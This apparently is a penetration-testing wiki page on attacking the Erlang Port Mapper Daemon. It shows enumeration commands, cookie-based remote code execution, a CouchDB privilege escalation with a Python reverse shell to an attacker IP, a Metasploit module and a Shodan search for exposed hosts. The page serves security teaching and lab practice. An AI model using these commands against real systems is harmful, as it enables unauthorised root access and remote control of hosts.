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93 lines
3 KiB
Markdown
93 lines
3 KiB
Markdown
# 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
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## Basic Info
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The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to **keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses.
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**Default port**: 4369
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```
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PORT STATE SERVICE VERSION
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4369/tcp open epmd Erlang Port Mapper Daemon
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```
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This is used by default on RabbitMQ and CouchDB installations.
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## Enumeration
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### Manual
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```bash
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echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
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#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
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dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
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apt-get install erlang
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erl #Once Erlang is installed this will promp an erlang terminal
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1> net_adm:names('<HOST>'). #This will return the listen addresses
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```
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### Automatic
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```bash
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nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
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PORT STATE SERVICE VERSION
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4369/tcp open epmd Erlang Port Mapper Daemon
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| epmd-info:
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| epmd_port: 4369
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| nodes:
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| bigcouch: 11502
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| freeswitch: 8031
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| ecallmgr: 11501
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| kazoo_apps: 11500
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|_ kazoo-rabbitmq: 25672
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```
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## Erlang Cookie RCE
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### Remote Connection
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If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters.
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```bash
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greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
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Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
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Eshell V8.1 (abort with ^G)
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At last, we can start an erlang shell on the remote system.
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(test@target.fqdn)1>os:cmd("id").
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"uid=0(root) gid=0(root) groups=0(root)\n"
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```
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More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
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The author also share a program to brutforce the cookie:
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{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
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### Local Connection
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In this case we are going to abuse CouchDB to escalate privileges locally:
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```bash
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HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
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(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
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"homer\n"
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(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
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```
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Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
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You can use **Canape HTB machine to** **practice** how to **exploit this vuln**.
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### Metasploit
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```bash
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#Metasploit can also exploit this if you know the cookie
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msf5> use exploit/multi/misc/erlang_cookie_rce
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```
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## Shodan
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* `port:4369 "at port"`
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